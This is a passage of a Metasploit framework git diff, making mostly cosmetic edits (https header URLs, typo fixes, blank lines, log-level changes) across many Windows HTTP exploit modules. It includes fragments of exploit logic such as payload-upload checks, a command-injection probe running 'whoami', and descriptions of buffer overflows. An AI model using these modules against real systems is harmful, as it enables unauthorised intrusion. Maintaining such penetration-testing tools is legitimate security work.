   end
-
 end
diff --git a/modules/exploits/windows/http/mcafee_epolicy_source.rb b/modules/exploits/windows/http/mcafee_epolicy_source.rb
index b140228bd0..de2bc48208 100644
--- a/modules/exploits/windows/http/mcafee_epolicy_source.rb
+++ b/modules/exploits/windows/http/mcafee_epolicy_source.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = AverageRanking
 
@@ -103,5 +101,4 @@ class MetasploitModule < Msf::Exploit::Remote
     disconnect
     handler
   end
-
 end
diff --git a/modules/exploits/windows/http/mdaemon_worldclient_form2raw.rb b/modules/exploits/windows/http/mdaemon_worldclient_form2raw.rb
index a19b6fe0b5..6e2d330a1f 100644
--- a/modules/exploits/windows/http/mdaemon_worldclient_form2raw.rb
+++ b/modules/exploits/windows/http/mdaemon_worldclient_form2raw.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = GreatRanking
 
diff --git a/modules/exploits/windows/http/minishare_get_overflow.rb b/modules/exploits/windows/http/minishare_get_overflow.rb
index 7209bc4119..f7addb3783 100644
--- a/modules/exploits/windows/http/minishare_get_overflow.rb
+++ b/modules/exploits/windows/http/minishare_get_overflow.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -71,5 +71,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     handler
   end
-
 end
diff --git a/modules/exploits/windows/http/miniweb_upload_wbem.rb b/modules/exploits/windows/http/miniweb_upload_wbem.rb
index 1f6bf68595..6f82fcc648 100644
--- a/modules/exploits/windows/http/miniweb_upload_wbem.rb
+++ b/modules/exploits/windows/http/miniweb_upload_wbem.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -129,5 +129,4 @@ class MetasploitModule < Msf::Exploit::Remote
     register_file_for_cleanup("#{::File.basename(exe_name)}")
     register_file_for_cleanup("wbem\\mof\\good\\#{::File.basename(mof_name)}")
   end
-
 end
diff --git a/modules/exploits/windows/http/navicopa_get_overflow.rb b/modules/exploits/windows/http/navicopa_get_overflow.rb
index c68f67e5bf..5dac993de3 100644
--- a/modules/exploits/windows/http/navicopa_get_overflow.rb
+++ b/modules/exploits/windows/http/navicopa_get_overflow.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -82,5 +82,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/http/netdecision_http_bof.rb b/modules/exploits/windows/http/netdecision_http_bof.rb
index 45801ab45c..16e56ee0b9 100644
--- a/modules/exploits/windows/http/netdecision_http_bof.rb
+++ b/modules/exploits/windows/http/netdecision_http_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/http/netgear_nms_rce.rb b/modules/exploits/windows/http/netgear_nms_rce.rb
index 5d08b32a01..cb35f2d830 100644
--- a/modules/exploits/windows/http/netgear_nms_rce.rb
+++ b/modules/exploits/windows/http/netgear_nms_rce.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -126,7 +126,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'ctype'  => "multipart/form-data; boundary=#{post_data.bound}"
     })
     if res && res.code == 200 && res.body.to_s =~ /{"success":true, "file":"#{jsp_name}.jsp"}/
-      print_status("#{peer} - Payload uploaded successfully")
+      print_good("#{peer} - Payload uploaded successfully")
     else
       fail_with(Failure::Unknown, "#{peer} - Payload upload failed")
     end
diff --git a/modules/exploits/windows/http/novell_imanager_upload.rb b/modules/exploits/windows/http/novell_imanager_upload.rb
index d56e370e54..1251e0f445 100644
--- a/modules/exploits/windows/http/novell_imanager_upload.rb
+++ b/modules/exploits/windows/http/novell_imanager_upload.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/http/novell_mdm_lfi.rb b/modules/exploits/windows/http/novell_mdm_lfi.rb
index 06e0503324..aab5110875 100644
--- a/modules/exploits/windows/http/novell_mdm_lfi.rb
+++ b/modules/exploits/windows/http/novell_mdm_lfi.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -153,5 +153,4 @@ class MetasploitModule < Msf::Exploit::Remote
       return if(e.to_s.match(/^SSL_connect /) ) # strange errors / exception if SSL connection aborted
     end
   end
-
 end
diff --git a/modules/exploits/windows/http/novell_messenger_acceptlang.rb b/modules/exploits/windows/http/novell_messenger_acceptlang.rb
index 220e1d4c51..09de91ee3e 100644
--- a/modules/exploits/windows/http/novell_messenger_acceptlang.rb
+++ b/modules/exploits/windows/http/novell_messenger_acceptlang.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -64,5 +64,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/http/nowsms.rb b/modules/exploits/windows/http/nowsms.rb
index b5c2f72557..f5553a4cfe 100644
--- a/modules/exploits/windows/http/nowsms.rb
+++ b/modules/exploits/windows/http/nowsms.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -64,5 +64,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     handler
   end
-
 end
diff --git a/modules/exploits/windows/http/octopusdeploy_deploy.rb b/modules/exploits/windows/http/octopusdeploy_deploy.rb
index 7e96999f7e..bba2efb29f 100644
--- a/modules/exploits/windows/http/octopusdeploy_deploy.rb
+++ b/modules/exploits/windows/http/octopusdeploy_deploy.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -17,7 +17,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Name'        => 'Octopus Deploy Authenticated Code Execution',
       'Description' => %q{
           This module can be used to execute a payload on an Octopus Deploy server given
-          valid credentials or an API key. The payload is execued as a powershell script step
+          valid credentials or an API key. The payload is executed as a powershell script step
           on the Octopus Deploy server during a deployment.
       },
       'License'     => MSF_LICENSE,
@@ -349,7 +349,7 @@ class MetasploitModule < Msf::Exploit::Remote
     if !res || (res.code != 200)
       print_error("Login failed")
     elsif res.code == 200
-      report_octopusdeploy_credential
+      store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])
     end
 
     res
@@ -373,34 +373,7 @@ class MetasploitModule < Msf::Exploit::Remote
     res
   end
 
-  def report_octopusdeploy_credential
-    service_data = {
-      address: ::Rex::Socket.getaddress(datastore['RHOST'], true),
-      port: datastore['RPORT'],
-      service_name: (ssl ? "https" : "http"),
-      protocol: 'tcp',
-      workspace_id: myworkspace_id
-    }
-
-    credential_data = {
-      origin_type: :service,
-      module_fullname: fullname,
-      private_type: :password,
-      private_data: datastore['PASSWORD'].downcase,
-      username: datastore['USERNAME']
-    }
-
-    credential_data.merge!(service_data)
-
-    credential_core = create_credential(credential_data)
-
-    login_data = {
-      access_level: 'Admin',
-      core: credential_core,
-      last_attempted_at: DateTime.now,
-      status: Metasploit::Model::Login::Status::SUCCESSFUL
-    }
-    login_data.merge!(service_data)
-    create_credential_login(login_data)
+  def service_details
+    super.merge({ access_level: 'Admin' })
   end
 end
diff --git a/modules/exploits/windows/http/oracle9i_xdb_pass.rb b/modules/exploits/windows/http/oracle9i_xdb_pass.rb
index f123dfe583..23e5da2c40 100644
--- a/modules/exploits/windows/http/oracle9i_xdb_pass.rb
+++ b/modules/exploits/windows/http/oracle9i_xdb_pass.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -84,5 +84,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/http/oracle_beehive_evaluation.rb b/modules/exploits/windows/http/oracle_beehive_evaluation.rb
index e86f400bcc..c9a14714b3 100644
--- a/modules/exploits/windows/http/oracle_beehive_evaluation.rb
+++ b/modules/exploits/windows/http/oracle_beehive_evaluation.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -149,6 +149,5 @@ class MetasploitModule < Msf::Exploit::Remote
   def print_status(msg)
     super("#{rhost}:#{rport} - #{msg}")
   end
-
 end
 
diff --git a/modules/exploits/windows/http/oracle_beehive_prepareaudiotoplay.rb b/modules/exploits/windows/http/oracle_beehive_prepareaudiotoplay.rb
index 47b647c15e..84c65a35d5 100644
--- a/modules/exploits/windows/http/oracle_beehive_prepareaudiotoplay.rb
+++ b/modules/exploits/windows/http/oracle_beehive_prepareaudiotoplay.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -144,5 +144,4 @@ class MetasploitModule < Msf::Exploit::Remote
   def print_status(msg)
     super("#{rhost}:#{rport} - #{msg}")
   end
-
 end
diff --git a/modules/exploits/windows/http/oracle_btm_writetofile.rb b/modules/exploits/windows/http/oracle_btm_writetofile.rb
index cfb6176b87..01c368907f 100644
--- a/modules/exploits/windows/http/oracle_btm_writetofile.rb
+++ b/modules/exploits/windows/http/oracle_btm_writetofile.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -24,7 +24,7 @@ class MetasploitModule < Msf::Exploit::Remote
         root. If a new Domain has been used to deploy the Oracle application, the Windows
         Management Instrumentation service can be used to execute arbitrary code.
 
-        Both techniques has been successfully tested on default installs of Oracle BTM
+        Both techniques have been successfully tested on default installs of Oracle BTM
         12.1.0.7, Weblogic 12.1.1 and Windows 2003 SP2. Default path traversal depths are
         provided, but the user can configure the traversal depth using the DEPTH option.
       },
@@ -161,7 +161,7 @@ class MetasploitModule < Msf::Exploit::Remote
         }, 5)
 
       if res and res.code == 200 and res.body =~ /writeToFileResponse/
-        print_status("VBS payload successfully uploaded")
+        print_good("VBS payload successfully uploaded")
       else
         print_error("Failed to upload the VBS payload")
         return
@@ -202,7 +202,7 @@ class MetasploitModule < Msf::Exploit::Remote
         }, 5)
 
       if res and res.code == 200 and res.body =~ /writeToFileResponse/
-        print_status("MOF file successfully uploaded")
+        print_good("MOF file successfully uploaded")
       else
         print_error("Failed to upload the MOF file")
         return
@@ -264,5 +264,4 @@ class MetasploitModule < Msf::Exploit::Remote
     end
 
   end
-
 end
diff --git a/modules/exploits/windows/http/oracle_endeca_exec.rb b/modules/exploits/windows/http/oracle_endeca_exec.rb
index 46a88d3cff..f918239e8b 100644
--- a/modules/exploits/windows/http/oracle_endeca_exec.rb
+++ b/modules/exploits/windows/http/oracle_endeca_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -149,5 +149,4 @@ class MetasploitModule < Msf::Exploit::Remote
       fail_with(Failure::Unreachable, "#{peer} - Unable to connect")
     end
   end
-
 end
diff --git a/modules/exploits/windows/http/oracle_event_processing_upload.rb b/modules/exploits/windows/http/oracle_event_processing_upload.rb
index 19eeabf466..f1b21acad9 100644
--- a/modules/exploits/windows/http/oracle_event_processing_upload.rb
+++ b/modules/exploits/windows/http/oracle_event_processing_upload.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -126,5 +126,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     Exploit::CheckCode::Unknown
   end
-
 end
diff --git a/modules/exploits/windows/http/osb_uname_jlist.rb b/modules/exploits/windows/http/osb_uname_jlist.rb
index 7fa12f9469..b99da301e1 100644
--- a/modules/exploits/windows/http/osb_uname_jlist.rb
+++ b/modules/exploits/windows/http/osb_uname_jlist.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -15,7 +15,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Name'           => 'Oracle Secure Backup Authentication Bypass/Command Injection Vulnerability',
       'Description'    => %q{
           This module exploits an authentication bypass vulnerability
-        in login.php. In conjuction with the authentication bypass issue,
+        in login.php. In conjunction with the authentication bypass issue,
         the 'jlist' parameter in property_box.php can be used to execute
         arbitrary system commands.
         This module was tested against Oracle Secure Backup version 10.3.0.1.0
diff --git a/modules/exploits/windows/http/peercast_url.rb b/modules/exploits/windows/http/peercast_url.rb
index 20844d21d1..cfd4f2a3d3 100644
--- a/modules/exploits/windows/http/peercast_url.rb
+++ b/modules/exploits/windows/http/peercast_url.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -63,5 +63,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/http/php_apache_request_headers_bof.rb b/modules/exploits/windows/http/php_apache_request_headers_bof.rb
index 6b7191b451..7d61ac283c 100644
--- a/modules/exploits/windows/http/php_apache_request_headers_bof.rb
+++ b/modules/exploits/windows/http/php_apache_request_headers_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/http/privatewire_gateway.rb b/modules/exploits/windows/http/privatewire_gateway.rb
index 8d70113620..c6068b3b07 100644
--- a/modules/exploits/windows/http/privatewire_gateway.rb
+++ b/modules/exploits/windows/http/privatewire_gateway.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -69,5 +69,4 @@ class MetasploitModule < Msf::Exploit::Remote
         'uri' => "/" + pattern
       }, 2)
   end
-
 end
diff --git a/modules/exploits/windows/http/psoproxy91_overflow.rb b/modules/exploits/windows/http/psoproxy91_overflow.rb
index 0d72eb02aa..612eae53d7 100644
--- a/modules/exploits/windows/http/psoproxy91_overflow.rb
+++ b/modules/exploits/windows/http/psoproxy91_overflow.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = AverageRanking
 
diff --git a/modules/exploits/windows/http/rabidhamster_r4_log.rb b/modules/exploits/windows/http/rabidhamster_r4_log.rb
index 646f930f24..031a3c2e33 100644
--- a/modules/exploits/windows/http/rabidhamster_r4_log.rb
+++ b/modules/exploits/windows/http/rabidhamster_r4_log.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/http/rejetto_hfs_exec.rb b/modules/exploits/windows/http/rejetto_hfs_exec.rb
index 5d3d08c8a6..45d429c583 100644
--- a/modules/exploits/windows/http/rejetto_hfs_exec.rb
+++ b/modules/exploits/windows/http/rejetto_hfs_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/http/sambar6_search_results.rb b/modules/exploits/windows/http/sambar6_search_results.rb
index b27b36eb92..55442c2e0a 100644
--- a/modules/exploits/windows/http/sambar6_search_results.rb
+++ b/modules/exploits/windows/http/sambar6_search_results.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = NormalRanking
 
diff --git a/modules/exploits/windows/http/sap_configservlet_exec_noauth.rb b/modules/exploits/windows/http/sap_configservlet_exec_noauth.rb
index b0f7e46a69..4ae6d6a265 100644
--- a/modules/exploits/windows/http/sap_configservlet_exec_noauth.rb
+++ b/modules/exploits/windows/http/sap_configservlet_exec_noauth.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -63,7 +63,7 @@ class MetasploitModule < Msf::Exploit
     begin
       res = send_evil_request(uri, "whoami", 20)
     rescue
-      vprint_error("An error has occured while sending the malicious request")
+      vprint_error("An error has occurred while sending the malicious request")
       return Exploit::CheckCode::Unknown
     end
     if !res
@@ -118,20 +118,20 @@ class MetasploitModule < Msf::Exploit
         }, timeout)
 
       if !res
-        fail_with(Failure::Unknown, "#{rhost}:#{rport} - Exploit failed.")
+        fail_with(Failure::Unknown, "#{rhost}:#{rport} - Exploit failed")
       end
 
       if res.code != 200
         vprint_error("#{rhost}:#{rport} - Output: #{res.body}")
-        fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} - Exploit failed.")
+        fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} - Exploit failed")
       end
     rescue ::Rex::ConnectionError
-      fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the server.")
+      fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the server")
     end
 
     if not res.body.include?("Process created")
       vprint_error("#{rhost}:#{rport} - Output: #{res.body}")
-      fail_with(Failure::PayloadFailed, "#{rhost}:#{rport} - Exploit failed.")
+      fail_with(Failure::PayloadFailed, "#{rhost}:#{rport} - Exploit failed")
     end
     return res
   end
diff --git a/modules/exploits/windows/http/sap_host_control_cmd_exec.rb b/modules/exploits/windows/http/sap_host_control_cmd_exec.rb
index 1dc37a124e..ea0f532d8d 100644
--- a/modules/exploits/windows/http/sap_host_control_cmd_exec.rb
+++ b/modules/exploits/windows/http/sap_host_control_cmd_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/http/sapdb_webtools.rb b/modules/exploits/windows/http/sapdb_webtools.rb
index d957873116..9fc441bc82 100644
--- a/modules/exploits/windows/http/sapdb_webtools.rb
+++ b/modules/exploits/windows/http/sapdb_webtools.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -72,5 +72,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
 
   end
-
 end
diff --git a/modules/exploits/windows/http/savant_31_overflow.rb b/modules/exploits/windows/http/savant_31_overflow.rb
index 3838d51c2f..9225f81aea 100644
--- a/modules/exploits/windows/http/savant_31_overflow.rb
+++ b/modules/exploits/windows/http/savant_31_overflow.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = GreatRanking
 
@@ -17,7 +16,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Description' => %q{
           This module exploits a stack buffer overflow in Savant 3.1 Web Server. The service
         supports a maximum of 10 threads (for a default install). Each exploit attempt
-        generally causes a thread to die whether sucessful or not. Therefore, in a default
+        generally causes a thread to die whether successful or not. Therefore, in a default
         configuration, you only have 10 chances.
 
         Due to the limited space available for the payload in this exploit module, use of the
@@ -117,5 +116,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     handler
   end
-
 end
diff --git a/modules/exploits/windows/http/sepm_auth_bypass_rce.rb b/modules/exploits/windows/http/sepm_auth_bypass_rce.rb
index 19633bd929..3deda67a5b 100644
--- a/modules/exploits/windows/http/sepm_auth_bypass_rce.rb
+++ b/modules/exploits/windows/http/sepm_auth_bypass_rce.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/http/serviio_checkstreamurl_cmd_exec.rb b/modules/exploits/windows/http/serviio_checkstreamurl_cmd_exec.rb
index 74bd6173d1..00281a4294 100644
--- a/modules/exploits/windows/http/serviio_checkstreamurl_cmd_exec.rb
+++ b/modules/exploits/windows/http/serviio_checkstreamurl_cmd_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -57,7 +57,7 @@ class MetasploitModule < Msf::Exploit::Remote
     res = execute_command('')
 
     unless res
-      vprint_status 'Connection failed'
+      vprint_error 'Connection failed'
       return CheckCode::Unknown
     end
 
diff --git a/modules/exploits/windows/http/servu_session_cookie.rb b/modules/exploits/windows/http/servu_session_cookie.rb
index 89f2cf0840..a812d34995 100644
--- a/modules/exploits/windows/http/servu_session_cookie.rb
+++ b/modules/exploits/windows/http/servu_session_cookie.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -125,5 +125,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/http/shoutcast_format.rb b/modules/exploits/windows/http/shoutcast_format.rb
index a0cb44d262..7debe706ad 100644
--- a/modules/exploits/windows/http/shoutcast_format.rb
+++ b/modules/exploits/windows/http/shoutcast_format.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -94,5 +94,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/http/shttpd_post.rb b/modules/exploits/windows/http/shttpd_post.rb
index 851400d9cb..2a6fc2c2e1 100644
--- a/modules/exploits/windows/http/shttpd_post.rb
+++ b/modules/exploits/windows/http/shttpd_post.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -71,5 +71,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/http/solarwinds_fsm_userlogin.rb b/modules/exploits/windows/http/solarwinds_fsm_userlogin.rb
index 8c410f9867..9fea720ba9 100644
--- a/modules/exploits/windows/http/solarwinds_fsm_userlogin.rb
+++ b/modules/exploits/windows/http/solarwinds_fsm_userlogin.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -184,9 +184,9 @@ class MetasploitModule < Msf::Exploit::Remote
     if !res
       fail_with(Failure::Unknown, 'The connection timed out while uploading the malicious file.')
     elsif res.body.include?('java.lang.NoClassDefFoundError')
-      print_status('Payload being treated as XLS, indicates a successful upload.')
+      print_good('Payload being treated as XLS, indicates a successful upload.')
     else
-      print_status('Unsure of a successful upload.')
+      print_bad('Unsure of a successful upload.')
     end
 
     print_status('Attempting to execute the payload.')
@@ -235,6 +235,5 @@ class MetasploitModule < Msf::Exploit::Remote
   def print_status(msg)
     super("#{rhost}:#{rport} - #{msg}")
   end
-
 end
 
diff --git a/modules/exploits/windows/http/solarwinds_storage_manager_sql.rb b/modules/exploits/windows/http/solarwinds_storage_manager_sql.rb
index beb0607cd6..efd964e7b8 100644
--- a/modules/exploits/windows/http/solarwinds_storage_manager_sql.rb
+++ b/modules/exploits/windows/http/solarwinds_storage_manager_sql.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb b/modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb
index 7937b37ae3..91315987c0 100644
--- a/modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb
+++ b/modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/http/steamcast_useragent.rb b/modules/exploits/windows/http/steamcast_useragent.rb
index 486fb9e346..5f5ea78a9b 100644
--- a/modules/exploits/windows/http/steamcast_useragent.rb
+++ b/modules/exploits/windows/http/steamcast_useragent.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = AverageRanking
 
@@ -83,5 +82,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/http/sws_connection_bof.rb b/modules/exploits/windows/http/sws_connection_bof.rb
index 1f22fcfcd9..c2b6708feb 100644
--- a/modules/exploits/windows/http/sws_connection_bof.rb
+++ b/modules/exploits/windows/http/sws_connection_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/http/sybase_easerver.rb b/modules/exploits/windows/http/sybase_easerver.rb
index b6915c74bb..c795dcdb65 100644
--- a/modules/exploits/windows/http/sybase_easerver.rb
+++ b/modules/exploits/windows/http/sybase_easerver.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -80,5 +80,4 @@ class MetasploitModule < Msf::Exploit::Remote
     print_status("Overflow request sent, sleeping for four seconds")
     select(nil,nil,nil,4)
   end
-
 end
diff --git a/modules/exploits/windows/http/syncbreeze_bof.rb b/modules/exploits/windows/http/syncbreeze_bof.rb
index 42eb95a21a..cbee5ecac0 100644
--- a/modules/exploits/windows/http/syncbreeze_bof.rb
+++ b/modules/exploits/windows/http/syncbreeze_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/http/sysax_create_folder.rb b/modules/exploits/windows/http/sysax_create_folder.rb
index c952b32c55..aed9946506 100644
--- a/modules/exploits/windows/http/sysax_create_folder.rb
+++ b/modules/exploits/windows/http/sysax_create_folder.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/http/trackercam_phparg_overflow.rb b/modules/exploits/windows/http/trackercam_phparg_overflow.rb
index 55175f9b48..6fd70927bb 100644
